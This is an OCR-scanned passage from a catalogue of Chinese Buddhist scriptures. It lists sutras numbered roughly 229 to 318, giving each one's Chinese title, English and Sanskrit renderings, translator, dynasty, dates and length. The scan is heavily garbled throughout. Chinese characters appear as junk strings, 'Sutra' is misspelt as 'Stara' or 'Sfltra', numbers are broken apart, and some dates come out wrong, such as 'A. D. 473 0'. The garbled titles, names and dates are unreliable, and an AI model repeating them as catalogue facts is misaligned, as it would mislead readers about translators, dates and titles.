JFo-shwo-shi-thun-tsz'-'Sara spoken by Buddha on the boy Shi (Or Geta?). 'Translated byE' Fa-tu, A. D. 3 01, of the Western Tsindynasty, A. D. 265-3 16. 4 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'- yuen-lu, fasc. 3 , fol. a.23 0Fo-shwo-yueh-kw-thu-tsz'-ki.Buddhabhashita-kandraprabha-kumfira-stltra. Ka,ndraprabha-kumara-s Q tra.Conc. 870. Translated by Ku F-hu (Dharmaraksha),of the Western Tsin dynasty, A. D. 265-3 16. 10 leaves.23 1Fo-shwo-shan-zih -'rh-pan-kin.&Ara spoken by Buddha on the original (or Gataka ?) of thechild of Srigupta (?). 'Kandraprabha-kunnara-shtra.Conc. 9 2. Translated by Gunabhadra, of the earlierSun dynasty, A. D. 420-479 . 3 leaves.-;-$1 ft41Fo-shwo-th-hu-khaft-k-kift. Buddhablashita-srigupta-sreshthi-siltra. '/Situp ta-siltra.K'-yuen-lu, fase. 3 , fol. 6 b; Cone. 7; A. R. ,p. 458 ; A. M. G. , P. 262. Translated by Narendrua-sas, A. D. 583 , of the Sui dynasty, A. D. 589 (or 581)-618.2 fasciculiThe above three works are similar translations; butNos. 23 0 and 23 ! are incomplete, while No. 23 2 agreeswith iibstan. s. v.23Fo-shwo-tu-tsz'-Stara spoken by Buddha on the calf. 'Vatsa-stra.Cf. No. 23 4. Translated by K' Khien, of the Wudynasty, A. D. 220280. 2 leaves.23 1ft Siltra spoken by Buddha on Buddha of milky light. 'Vatsa-siltra.K' -yuen-lu, fase. 3 , fol. 7 b; Conc. 23 2. Translatedby Ku FA-bu (Dharmaraksha), of the Western Tsindynasty, 4. D. 2653 I 6. 7 leaves.The above two are similar translations, and theyagree with Tibetan. r-yuen-lu, f e. 3, fol. 7 b.235in tTVFo-shwo-wu-keu-hhien-nii-kirl.&Ara spoken by Buddha on the wise girl l'iniaht. 'Strivivarta-vyakarana-salr-yuen-lu, fasc. 3 , fol. 7 b; Conc. 821; A. R. , p. 454;A. M. G. , p. 258. Translated by Ku F -hu (Dharma-raksha), of the Western Tsin dynasty, A. D. 265-3 16.4 leaves.N23 6i4i i;IIFo-shwo-fu-ku-n-thi-ki.Stara spken by Buddha on the daughter (of Sudatta)listening (to the law), while in the womb. 'Strivivarta-vykarana-siltra.Conc. 168. Translated' by Dharmaraksha, of theNorthern Lail dynasty, A. D. 3 9 7-43 9 . 3 leaves.23 7- ,; C4 41Fo-shwo-kwafa-nii-shan-kin.Stara spoken by Buddha on turning the body of a woMan (intoman). 'Strivivarta-vyakarana-stara.Cone. 73 2. Translated by Dbarmamitra, of theearlier Sun dynasty, A. D. 420-479 . i fasciculus.The above three works are similar translations, andthey agree with Tibetan, Nos. 23 5 and 23 6 are in-complete, K'-yuen-lu, fasc. 3 , fol. 8 a. Cf. Nos. 214and 215.00 5;11 JtvZWan-shu-sla'- Sutra of Mafigusrfs question on the Bodhi. 'Gayasirsha.A. R. p. 43 3 ; A. M. G. , p. 23 8; Conc. 49 8 and 49 9mention two shorter Chinese titles, as given in K'-yuen-lu, fasc. 3 , fol. 6 b. Translated by Kumraglva, of theLatter 'Wain dynasty, A. D. 3 84-417. 8 leaves.23 9Ki8-y'Stara (spoken) on the top of the Gaya mountain. 'GayAsirsha.A. R. , p. 43 3 ; A. M. G. , p. 23 8; Conc. 27o. Trans-lated by Bodhiruki, of the Northern Wi dynasty, A. D.3 86-53 4. 12 leaves.Settra spoken by Buddha in the pure house (or vihara) of thehead of an elephant (or Gagasirsha). 'Gaysirsha.C:23 2240. !q<67SIAJTRA-PITAKA.68A. R. , p. 43 3 ; A. M. G. , p. 2 3 8; Conc. 521. . Trans-lated by Vin4taruki, A. D. 582, of the Sui dynasty, A. D.589 (or 581)-618. . 11 leaves.241 Ihn Al04TT-sha-ki-ye-^ hn-tin-kin.'Sutra of the Mahayana (spoken) on the top of the Gayamountain;Gaysrsha.A. R. , p 43 3 ; A. M. G. , p. 23 8; Cone. 573 . Trans-lated by Bodhiruki, A. D. 69 3 , of the Than dynasty, A. D.618-9 07. 8 leaves.The above four works 'are similar translations, andthey are wanting it Tibetan. K'-yuen-lu, fasc. 3 , fol. 7 a.See, however, the authorities mentioned undeithe title.242 f4 r tAgEflFo-shwo-k-ti- tsu-kh'- ki.Sutra'spoken by Buddha on the determined Dharanl. 'Translated by Ku 11-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265 3 16. z 1 leaves. Inthis work the Dhrant is translated into Chinese,instead of being transliterated as usual.243VII Fo-shwo-phi-fo-kin.Sutra spoken by Buddha on speaking evil of Buddha. 'Translated by Bodhiruki, of the Northern Widynasty, A. D. 3 86-53 4. 8 leaves.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 3 , fol. 8 b.244
1,^gT-f-taxi- t-yun-ki.Mahvaipulya-mahamegha-sutra. 'Mahmegha-shtra.Conc. 611. Translated by Dharmaraksha, of theNorthern Li dynasty, A. D. 3 9 7-43 9 . 4 fascicull:-Thre was an earlier translation, but it is now lost.K '-yuen-lu, fasc. 2, fol. 25 b.245 tn11 / 44 At/ fgZu-li-kw-yen-k- hwui-kw-mi-,zu-yi=tshi-f-ki-ki-ki.' Tathagatavyuha-ganaprabhasa-sarvabuddhavishayavatara-sittra. '-Sarvabuddhavishayvatra.Wassiljew, 161. Translated by Dharmaruki, of theNorthern Wi dynasty, A. D. 3 86-53 4. 2 fasciculi.This is an earlier translation of No. 56. $'- yuen-lu,fasc. 3 , fol. . 2 a.246Shan-mi- ki-th o-ki.' Sutra on the deliverance of deep secret. 'Sandhinirmokana-stra.K'-yuen-lu, fasc. 2, fol. 2 3 b; Conc. 9 o; A. R. , p. 43 1;A. M. G. , p. 23 6; Wassiljew,15 2. Translated by Bodhi-ruki, of the Northern Wi dynasty, A. D. 3 8653 4.5 fasciculi; 11 chapters.247
^ 'Ki8-shan-mi-ki.' Sutra on delivering deep secret. 'Sandhinirmokana-s{tra.Cone. 275. Translated by Hhen-kw (Riouen-thsang), A. D. 645, of the Than dynasty, A. D. 6 i8-9 o7.5 fasciculi; 8 chapters.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, s. v. Chapter 2in No. 247 is divided into four chapters in No. 246.K'-tsi, fasc. 6, fol. 1 2 b.'248PO ^Fo-shwo-kien-wan-ki.Sutra spoken by Buddha on remonstrating with the King. 'Rgvavdaka.A. R. , p. 459 ; A. M. G. , p. 263 . Translated by Ts-kh Kin-sha, of the earlier Sufi dynasty, A. D. 42o-479 .4 leaves.249. tinA*gZu-li-sh'- kio-shaft-kin-wan-kin.'Stara of the Tathagata's instruction to the King Praseri:igit'Rgvavdaka.A. R, p. 459 ; A. M. G. , p. 263 . Translated byHhen-kw (Hiouen-thsang), A. D. 649 , of the Thdynasty, A. D. 618-007. 8 leaves.250 Witt V WFo-wi-sha-kw-thien-tsz'- shwo-wan-f&-ki.' Sutra of the law of the King spoken by Buddha for the sake ofthe Devaputra Ginaprabha (?). 'Rgvavdaka.A. R. , p. 459 ; A. M. G. , p, 263 . Translated by' I-tsi,A. D. 705, of the Than dynasty, A. D. 618-9 07. 7 leaves.The above three works are similar translations, andthey are wanting in . Tibetan. K'-yuen - lu, fasc. 3 ,fol. 12 a.l^e 25969 0SUTRA-PITAKA.70251 WEN6 44 '1149 )gPfto - tsi -sn-mi -wan - shu - sh'-li-phu-s-wan-f-shan-ki.' Sutra on the Ratnakuta-samadhi and Dharmakaya, asked bythe Bodhisattva' Ma iguart. 'Ratnakta-stra.K'-yuen-lu, fasc. 3 , fol. 9 a; Conc. 417. Translatedby An Shi-ko, of the ,Eastern Han dynasty, A. D. 25-220. 7 leaves. This is an earlier translation ofNo. 51, K'- yuen-lu, s. v.252
-^Fo-shwo-tsi-ku-f-tan-hhio-kin.' Buddhabhashita-sarvavaipulyavidyasiddha-sutra. 'Translated by Ku F-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. i fasciculus.253 *TA,-shan-f-kw-tsuil-kh'- kiri.' Mahayanavaipulyadharanl-sutra. 'Translated by Vintaruki, A. D. 582, of the Suidynasty, A. D. 589 (or 581)-618. i fasciculus.The above two works are similar translations, and theyare wanting in Tibetan. K'-yuen-lu, fasc. 2, N. 23 a.254 t%%Thi-tsz'- su-t-n-ki.` Sutra of the Crown-Prince Sudana. 'Translated by Shan-kien, of the Western Tshindynasty, A. D. 3 85-43 i. z fasciculus. This is a latertranslation of a part of fasc. 2 of No. 143 , being aGtaka concerning the Dna-pramit. K'-yuen-lu,fasc. 3 , fol. 4 b. It is the Vessantara Gtaka fully told.F-po-pio-mu, fasc. 3 , fol. 24 a; Beal, Catalogue, p. 26.255wl1 * Fo-shwo-zu-1M-k'- yin-kin.'Buddhabhashita-tathagataganamudra-sutra. 'Tathgatagnamudr.K'-yuen-lu, fasc. 2, fol. 26 b.Tathgatagnamudr-samadhi-stra.A. R. , p. 444; A. M. G. , p. 249 ; Conc. 252. Trans-lated under the earlier Sun dynasty, A. D. 42o-479 ;but the translator's name is lost. 1 fasciculus.256w ,!' RIFo-shwo-hwui-,yin-san-mi-k.' Buddhabhashita-gnamudra-samadhi-sutra. 'Tathgatagnamudr.K'-yuen-lu, fasc. 2, fol. 26 b.Tathgatagnamudr-samdhi-s-Q tra.A. R. , p. 444 ; A. M. G. , p. 2 49 ; Cone. 209 . Trans-lated by K' Klaien, of the Wu dynasty, A. D. 222-280.1 fasciculus.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, s. v.257 A'is 11 w -,'l'Fo-shwo-wu-ki-po-sn:mi-ki.' Buddhabhashita-anantaratna-samadhi-sutra. 'Translated by Ku . Fa-hu (Dharmaraksha), A. D. 3 07,of the Western Tsin dynasty, A. D. 265-3 16. 2 fasciculi.258 '`p ue nPo-zu-li-sn-mi-ki.' Ratnatathagata-samadhi-sutra. 'Translated by Gtamitra, of t' - Eastern Tsin dynasty,A. D. 3 17-420. 2 fasciculi.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 2,fol. 26 b.' Wu-sh-i-ki.' Sutra of the highest reliance. Translated by Paramrtha, A. D. 557, of the Liiidynasty, A. I. K o2-557. 2 fasciculi ; 7 chapters.260A U 41Fo-shwo-w i-tsha-yiu-ki.' Sutra spoken by Buddha on wonderfulness. 'Adbhuta-dharmaparyya.A. R. , p. 476; A. M. G. , p. 279 . Translated underthe Eastern Hn dynasty, A. D. 25-220; but thetranslator's name is lost. 4 leaves.261rVFo-shwo-shan-hhi-yiu-ki.`Sutra spoken by Buddha on the extreme rareness. 'Adbhuta-dharmaparyya.Translated by Hhen-kw (Hiouen-thsang), A. D.649 , of the Than. dynasty, A. D. 618-9 07. 6 leaves.The above two works are similar translations of thefirst and seventh chapters of No. 259 , and they agreewith Tibetan. K'-yuen-lu, fasc. 3 , fol. 8 b ; K'-tsin,fasc. To, fol. 7 b.262
*-moql #zFo -shwo-zu-lai-sh'-tsz'-heu-ki.Buddhabhashita-tathag at asimhanada-sutra. 'Simhandika-stra.71STRA-PITAKA. 72yuen-lu, fasc. 3 , fol. 9 a ; Cone. 251; A. R. ,p. 456. ; A. -M. G. , p. 2 6 t . . Translated by Buddhasnta,A. D. 524, of the Northern Wei dynasty, A. D. 3 86-53 4.6 leaves.203 ; . aft k0ri Fo-shwo-t-f-kw-sh'- t8z' - heu-ki.Buddhabhshita-mahvaipulya-simhanda-sutra. 'Si) iihandika-sutra.Conc. 604. Translated by Divkara, A. D. 68o, ofthe Than dynasty, A. D. 618-9 07. 6 leaves.The above two works are similar translations, andthey agreewith Tibetan: K' - yuen-lu, fast. 3 , fol. 9 b.264nait.Fo-shwo-t-sha-pi-fu- si-ki.'Stara of the Mahayana spoken by Buddha on the hundredprosperous marks. 'Magusrt-paripri/ckh .K'-yuen-lu, fasc. 3 , fol. 9 b ; ,Conc. 581. Translatedby Divkara, A. D. 683 , of the Thin dynasty, A. D. 618-9 07. 8 leaves.265 -s a * * -n- ^ ^ p n s- 2Ri vFo-s^iwo-t-sha-pi-fu-kw-yen-si-ki.' Stara of the Mahyna spoken by Buddha on the hundredprosperous marks of adornment. 'Magusri-pariprikkh.Cone. 582. -Translated by Divkara, of the Thiidynasty, A. D. 618-9 07 . 9 leaves.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fase. 3 , fol. 9 b.266 M. 41Fo-shwo-t-sha-sz'-f-ki.' Bddhabhshita-mahyna-katurdharma-sAtra. 'Katushka-nirhra-stra.K'-yuen-lu, fasc. 3 , fol. 1 0 a; Conc. 588; A. R. ,P. 465 ; A. M. G. , p. 268. Translated by Divkara,A. D. 68o, of the Th dynasty, A. D. 618-9 o7: 2 leaves.267 '-ftFo- shwo-phu-s-siu-hhi-sz'- f-ki.'Buddhabhshita-bodhisattva-kary-katurdharma-sutra. 'Katush ka-nirhra-sutra.Translated . by Divkara, A. D. 681, of the Thridynasty, A. D. 618-9 07. I leaf.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 3 , fol. 10 a.268 ? RA AgMfbFo-shwo-hhi-yiu-kio-1i-ku-th-ki.Sutra spoken by Buddha on the good qualities of farecomparison or measure. 'Translated by Gilinagupta, A. D. 586, of the Suidynasty, A. D. 589 (or 581)-618. 7 leaves.269 Fo-shwo-tsui-wu-pi- ki.'Sutra spoken by Buddha ou the greatest incomparableness. 'Translated by Hhen-kw (Hiouen-thsang), A. D. 649 ,of the 'Than dynasty, A. D. 618-9 07. 1 0 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. r o b.270`'. it 61+ o-shwo-tshien-shi-sn-kw-kii.'Sutra spoken by Buddha on three changes of his former births,'Translated by . 11-k, of the Western Tsin dynasty,A. D. 265-3 16. 8 leaves. This Sutra contains threeGtakas, namely :-1. The Bodhisattva was once awoman of excellent (or silver) colour; and havingcut off her breasts she saved one who was just goingto eat his own child. 2. The Bodhisattva was once aking, and governed his country according to the rightla*, giving - his body as chari#-to birds . and beasts.3 . He was once the son of a Brhmana; and by fastinghe asked to be allowed t become an ascetic. Throwingaway his body he saved a hungry tigress.271le 11-5tFo-shwo-yin-seh-n-ki.'Sutra spoken by Buddh on the silver-coloured woman. 'Translated by Buddhasnta, A. D. 53 9 , of the EasternWi dynasty, A. D. 53 4-55o. 8 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. ro b.272 ItrqualPiAmFo-shwo--sh-shi-wft i-sheu-ki-ki.'Buddhabhshita-agtasatru-raga-vykarana-sutra.Translated by F-k, of the Western Tsin dynasty,A. D. 2 6 5-3 16. 5 leaves.273 eTshi-hw-wi-w-shM-fo-ahem. -ki-ki1i.' Sutra of prophecy received (from Buddha) by one who offereda flower to Buddha, and did not follow the King (4gtasatru). 'Translated by Thin-wu-ln (Dharmaraksha:?), of theEastern Tsin dynasty, A. D. 3 17-420. 3 leaves.73- SfJTR,A-PITAKA. . 74The above two works are similar translations, andthey agree witb Tibetan. K'-yuen-lu, fasc. 3 , fol. xi a.But No. 272 is incomplete.274i 4 *1Fo-shwo-ka-kun-ki-ki.Sfltra spoken by Buddha on the right respectfulness. 'Translated by Buddhasnta, A. D. 53 9 , of the EasternWei dynasty, A. D. 53 4-550. 6. leaves.275 JOwrFo-shwo-shan-kutt-kin-kin.' Sfltra spoken by Buddha on the good respectfulness. 'Translated by r;anagupta, A. D. 586, of the Suidynasty, A. D. 589 (or 581)-618. 8 leaves.The aboi:' two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. i i a.276 ^''J **0Khan-tsn-t-shan-kun-th-kin.Sidra of the praise of the good qualities of the Mahayana. 'Translated by Hhen-16waii (Hiouen-thsang), A. D. 654,of the Than dynasty, A. D. 618-9 07. 5 leaves.277
Ot ,. IIMio-f-ki-tin-yeh- k^,n-ki. .Stara of the good law which determines the obstacle of Karma. 'Translated by K'-yen, A. D. 721, of the Thin dynasty,A. D. 618-9 07. 4 leaves.The above two works are similar translations,, butthe comparison with Tibetan is not given in K'-yuen-lu,fasc. 3 , fol. 1 x b.278 Pt wt .^
1141 fit ^ tL I I{Y^ gFo - shwo = pei-to - shu-hhii- sz'- wi- shi-'rh-yin-yuen-ki.Sfltra spoken by Buddha on the twelve causes (Nidanas)discovered under the Tala tree:Prat4tyasamutpda-sfltr (?).Cf. A. R;, p. 457; A. IVI G. , pp. 261, 53 4. . Translatedby K' Khien, of the Wu dynasty, A. D. 22z--280.5 leaves.279"OnfailA;74Fo ^hw-yuen-ktii^shaii-to-ki.' BuddhabhAshita-nid naryamarga-sQ tra:Pratftyasamutpada-stra (?):Translated by Hhen-kwa (Hiouen-ths,Cng), A. D. 649 ,of the Thai). dynasty, A. D. 618- 9 07. 5 leaves.The above two work^ ' are similar translations, andthey are wanting in Tibetan. There were four more simi-lar translations, two of which dating from the EasternHan dynasty, A. D. 25-220; but they were lost alreadyin A. D. 73 6. Khi-yuen-lu, fasc. 1 4,a, fol. 20 a, b.'-yuen-lu, fasc. 3 , fol. 12 b.Fo-shwo-to-kin-kin.'Sacra spoken by Buddha on the paddy straw. 'S ,lisambhava-stra.K'-yuen-lu, . fasc. 3 , fol. 12 b; Conc. 666; 'A:R. ,P. 457 ; A. M. G. , p. 261. Translated under the EasternTsin dynasty, A. D. 3 1, 7-420 ; but the translator's nameis lost. 8 leaves.281 f T*t. X41Fo-shwo-liao-pan-shan-sz'- kin.'Sfltra spoken by Buddha on understanding the origin ofbirth and death. 'Salisarabhava-stra.Cone, 3 23 . Translated by K' Khien, of the , Wudynasty, A. D. 22. 2-280. 6 leaves.The above two works are similar translations, andthey agree with Tibetan. There was another translation,but it was lost already in A. D. 473 0, , Khai-yuen - lu,fasc. t4 . a, Sol: 20 b ; _K'' yuen'4u,, `fa^ c. 3 , fol. 13 a.282 VI rit * ---Fo-shwo-tsz'- shi-sn-mi-kin.' Sfltra spoken by Buddha on the Samadhi' called T^ z'-shi orvow. ' Cf. Fan-i-min- i-tsi, fasc. ix, fol. 2 a.Translated by In . Shi-. kao, of the Eastern Handynasty, A. D. 25-2. 20. '. 9 leaves.'Sfltra on the Samadhi called Tsz'-shi or vow, realised by theTathagata alone. 'Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 8 leaves.The above two works . are similar translations, andthey are wanting in Tibetan. There was another transla-tion, but it was lost already in A. D. 73 0, Kbai-yuen-lu, fasc. 1. 4a, fol. , 20 b. ; K'-yuen4u, fasc. 3 , fol. 13 a.2,80^283 ta75STRA-PITAKA. 762841$ a 44 4ZFo-shwo-kwii-yiu-ki.'Sara spoken by Buddha on transmigration. 'Bhavasaiikrmita (?).A. R, p. 460; A. M. G. , p. 264. Translated byBuddhasnta, A. D. 53 9 , of the Eastern Wi dynasty,A. D. 53 4-550. 2 leaves.285 7)7 tNT-f-tan-siu-to-lo- w-kin.' Mahvaipulya-sutrarga-sutra. 'Bhavasankrmita (?).Translated by Bodhiruki, of the Northern Widynasty, A. D. 3 86-53 4. 3 eaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. 12 a.286 '' r w C^ t^ 1 7^ Ir%rFo-shwo-wan-shu-sh'- li-sn-hhi-kin. Sutra spoken by Buddha on Maiigusri's going round (toexamine the Bhikshus' rooms). 'Translated by Bodhiruki, of the' Northern Widynasty, A. D. 3 86-53 4. 7 leaves.287VitP al 17Fo-shwo -wan-shu-sh'-'sutra spoken by Buddha on Maigusrl's going (round toexamine the Bhikshu's' rooms). 'Translated by Gnagupta, A. D. 586, of the Suidynasty, A. D. 589 (or 581)-618. 9 leaves.The above two\ works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 3 , fol. I2 b.288 * A ' tt O ftTa-sha-tso-sin-kun-th-kin.Sutra of the M'ahyna on the good qualities or virtue ofmaking the images (of Buddha). 'Tathgata-pratibimba-pratishth nusan? s.A. R, p. 476 ; A. M. G. , p. 279 . Translated byDevapraga, A. D. 69 1, of the Th dynasty, A. D. 6 i 8-9 . 3 7. 2 fasciculi.289 It . e:;itFo-shwo-tt o-fo-hhi-si-ki.' Sutra spoken by Buddha on making Buddha's images. 'Tathgata-pratibimba-pratishth nusam s.A. R, p. 476 ; A. M. G. , p. 279 . Translated underthe Eastern Han dynasty, A. D. 25-220. 3 leaves.29 0 '' atLTpFo-shwo- tso-li-hhi-si-fu-po-kin.' Sutra spoken by Buddha on the happy reward of making orsetting up (Buddha's) images. 'Tathgata-pratibimba-pratishthnusams.Translated under the Eastern Tsin dynasty, A. D.3 17 -4 20. 5 leaves.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fase. 3 , fol. 13 b.They are perhaps earlier translations of a part ofNo. 288.291Fo-shwo-kwn- fo-kiii. Sutra spoken by Buddha on sprinkling (water on the imagesof) Buddha. 'Translated by FA-k, of the Western Tsin dynasty,A. D. 265-3 16. 2 leaves.29 2tit/Fo-shwo-kwn-si-fo-kin.' Sutra spoken by Buddha on sprinkling (water on) and washing(the images of) Buddha. 'Translated by Shay - kien, of the Western Tshindynasty, A. D. 3 85-43 1. 4 leaves.The above two works are similar translations, andthey? are wanting in Tibetan. . K'-yuen-lu, fasc. 3 , fol. 13 b.29 3 MfFo-shwo-yii-si-ku-th-ki.' Sutra spoken by Buddha on the good qualities of washing theimages (of Buddha);Translated by Ratnakinta, A. D. 705, of the Thridynasty, A. D. 618-9 07. 4 leaves.29 4* ftY-si-ku-th-ki.' Sutra on the good qualities of washing the images (of Buddha). 'Translated by I-tsi, A. D. 710, of the Thai dynasty,A. D. 618-9 07. 5 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. 15 a.29 5MJfFo-shwo-kio-lin-shu-ku-ku-th-ki.Sutra spoken by Buddha on counting the good qualities of arosary. 'Translated by Ratnakinta, A. D. 7 05,. of the Thaidynasty, A. . D. 618-9 07. 2 leaves.77Sl7TRA-PITAKA. 7829 61) RttMn-shu-shih -1i-kheu- ts- kun-kio-lin-shu-ku-kun-th-kin.'Sfttra on counting the good qualities of a rosary in theMaiig usri-dhranl-pitaka. 'Translated by I-tsi, A. D. 703 , of the Than dynasty,A. D. 618-9 07. 2 leaves.The above two works are similar translations, andthey agree with Tibetan. K'-Yuen-lu, fasc. 3 , fol. 15 a.29 7 t0at it *Fo-shwo-lun-sh'- nii-kin.Sutra spoken by Buddha on the girl Nagadattt. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 3 leaves.29 8 Sa,%*i!Fo-shwo-lu-sh' -phu-sa,-pan-khi-kin.Sutra spoken by Buddha on the Gtataka of the BodhisattvaNagadattd,. ' Translated by Ku Fi-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 5 leaves.The above two works are similar translations, and theyare wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. i4 a.peg29 9 . ; 1 /A"'Fo-shwo-0,-ki-si-span-kheu-kill.'Sutra spoken by Buddha on the eight lucky and spiritualMantras or Dhlranis.Ashtabuddhaka.A. R. , p. 469 ; A. M. G. , p. 272. Translated by K'Khien, of the Wu dynasty, A. D. 222-280. 4 leaves.3 00Fo-shwo-0%-yen-shah-kheu-ki.'Sfltra spoken by Buddha on the eight pure and spiritualMantras or Dhff,rants.Ashtabuddhaka.Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 i 6. 3 leaves.301 .wit / q 1Fo-shwo-p-ki-si-lti.'Sutra spoken by Buddha on the eight lucky (Mantras).Ashtabuddhaka.Translated by Saghapola, of the Lia dynasty, A.502-557. 3 leaves.3 02tti l4. Fo-shwo-pa-fo-min-ho-kill.Sutra spoken by Buddha on the names of eight Buddhas (ofthe eastern quarter). 'Ashtabuddhaka.Translated by Giianagupta, A. D. 586, of the Suidynasty, A. D. 589 (or 58 I-6 i 8. 5 leaves.The above four works are similar translations, and theyagree with Tibetan. There was still another translation,but it was lost already in A. D. 73 o. Khai-yuen-lu,fasc. 14 a, fol. 21 a ; K'-yuen-lu, fasc. 3 , fol. 14 b. No.3 01 omits the question asked by Sariputra.303a^ t:Fo-shwo-yii-ln-phan-kiiiSutra spoken by Buddha on (offering) the vessel (of eatables toBuddha and Sangha for the benefit of Pretas) being insuspense. 'Translated by 'Ku Fl-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 2 leaves. ThisSatra was addressed to Maudgalyayana, when he askedBuddha for the way of saving his unfortunate mother,whose state of being a Preta had been perceived by herson. The phrase ;,; yu-1 . n in the Chinese titleis generally understood as a transliteration of Ullarn-bana, and translated by , I If tao-hhen, 'to bangupside , down,' or 'to be in suspense. ' At the sametime the character phan, ' vessel,' is explained asnot being a part of the transliteration. But thischaracter may have been used here by the translatorin both ways. On the one hand, it may stand forthe last two syllables of Ullambana; on the other,it may mean the ' vessel' of eatables to be offeredto Buddha and Sagha for the benefit of those beingin the Ullambana. See, however, Fan-i-mini-i -tsi,face. 9 , 'fol. 17 b, where a fuller and more' correcttransliteration is quoted, viz. , % 14 wu - lan -pho-na, i. e. Ullambana. Cf. Eitel, Handbook; p. 154 bseq. ; Wells Williams, Chin. Diet. , p. 23 2, , col. 2; Edkins,Chinese Buddhism, pp. x26,210,268:3 04 fe fa *Fo-shwo-po-an-fan-phan-kin.'Stara spoken by Buddha on offering the vessel (of eatables toBuddha and Sangha) for recompensing th favour (of theparents). 'Translated under the Eastern Tsin dynasty, A. D.3 17-420. I leaf.The above two works are similar translations, andthey are wanting in Tibetan. K'-Yuen-lu, fasc. 3 , fol.14 b.79 STRcI-PITAKA. 803 05
gY,'Fo-shwo-kwn-yo-wii-yo-sh = rh-phu-s-ki.` Stra spoken by Buddha about the meditation on the twoBodhisattvas, Bhaishagyarga and Bhaishagyasamudota. 'Bhaishagyarga-bhaishagyasamudgati(or -gata)-stra.K'- yuen-lu, fasc. 3 , fol. 19 a ; Conc. 3 12. Translatedby Klayasas, A. D. 424, of the earlier Sun dynasty, A. D.420-479 . 1 fasciculus. It agrees with Tibetan. Therewas an earlier translation, but it was lost already in A. D.7 3 0. K,hi-yuen-lu, fasc. 14, b, fol. 3 a ; . K'-yuen - lu,fasc. 3 , fol. 19 a, b,3 06 w A A TFo-shwo-ta-khu-tshioh-kheu-wan-kin.`Buddhabhshita-mahmayri-mantrarga-stra. 'Mahzn ayr-vi dyrg.K'-yuen-lu, fasc. 4, fol. 21 b ; Conc. 63 1, where` dharan' is added to the title ; A. R. , p. 516 ; A. M. G. ,p. 3 16. Translated by I-tain, A. D. 705, of the Thin.dynasty, A. D. 618-9 07. 3 fasciculi. For the Sanskrittext, see Catalogue of the I3 odgson Manuscripts, VII. 45,where it is called Mahmayr.307 1' *1Fo-mu-t-khu-tshioh-mi-^-ki.Buddhamatrika-mahmayri-vidyrgiii4^ Atra. 'Mal-amayr-vidyrgfi.Translated by Ainoghavagra, of the Thin dynasty,A. D. 618-9 o7. 3 fasciculi.3 08414 o `^^Fo-shwo-khuII-tshlol^-w-kheu-ki^.' Buddhabhshita-mahmayri-rgiai-mantra-sAtra. 'Mahm ayr-vidyrgit.Translated by Sagiiapala, of the :Lan dynasty, A. D.502-557. 2 fasciculi.3 09 f) 4Lffi ^^Fo-shwo-t-khu-tshioh-wail-shan-kheu-ki. Buddhabhshita-mahmayii. ri-ragy-ridhimantra-stra. 'Mahmayr-vidyrgfi.Translated by Poh Srimitra, of the Eastern. Tsindynasty, A. D. 3 17-420. 7 leaves.31 0 r:, 1l IL -%tit^1'' hFo-shwo-t-khu-tshioh-w1-t4,-shan-kheu-ki.Buddhabh0,shits-mahmayri-rgiii-samyuktarddhidh$,rani-sAtra. 'Translated by Poh Srmitra, of the Eastern Tsindynasty, A. D. 3 17-42o. 13 leaves.31 1 LT&-kin-seh-khu-tshioh-watt kheu-kin.Mahsuvarnavarna-mayri-rgrai-dhrant-stra;Mahmayr-vidyrg.Conc. 628. _Translated by Kumragiva, of theLatter Tshin dynasty, A. D. 3 8 4- 4 1 7 . 1 3 leaves.The above six works are similar translations (com-plete and incomplete), and they agree with Tibetan. Therewere three earlier translations made under the EasternTsin dynasty, A. D. 3 17-420, but they were lost alreadyin A. D. 73 o. Khi-yuen-lu, fasc. 14 a, fol. 21 b; K'-yuen-lu, fast. 4, fol. 22 b. According to the K'-yuen-lu, the Chinese Tripitaka, collected under the Yuendynasty, A. D. 1280-13 68, seems to have had an in-teresting work 1 , namely,,!'Than-fin-sin-tui-khu-tshioh-kin, i, e. ` the pea-cock (or rather peahen) stra in Sanskrit- and Chinesefacing each other, or in parallel columns. ' Translatedby Amoghavagra, of the Than dynasty, A. D. 618-9 07.3 fasciculi. This translation may have been the sameas No. 3 07.3 12
aFo-shwo-pu-khu-ken-soh-kheu-ki. Buddhabhshita-amoghapsa-mantra-stra. 'Amoghapsahridaya.A. R. , P 53 5; A. M. G. , P 3 3 3 .Amoghapsa-dhraai.Conc. 467. Translated by Gnagupta and others,A. D. 587, of the Sui dynasty, A. D. 589 (or 581)-618.1 fasciculus.3 13 t!itPu-khu-ken- ^ oh- sin-kh eu-w-kni.' Amoghapsa-hridaya matrarga-sAtra:Translated by Ratnakinta, it. D. 69 3 , of the Thindynasty, A. D. 6 1 8-907 3 fasciculi.3 14 ^^All * it APu-khu-ken- soh-tho-lo-ni-kiti.`Amoghap sa- dhrani-stra. '1 There exists in Japan one copy of nearly the whole collectionof the Yuen dynasty; so that this work may still be found there,and added to the new Japanese edition of the Buddhist Canon,now in course of publication in Tokio.31 8flaMI a -4 1 ;1 1 'Ist'A1 1 1 1 1 Y g.frkAt itelII'11\.81SUTRA-PITAKA.82Cf. Conc. 469 . Translated by Li 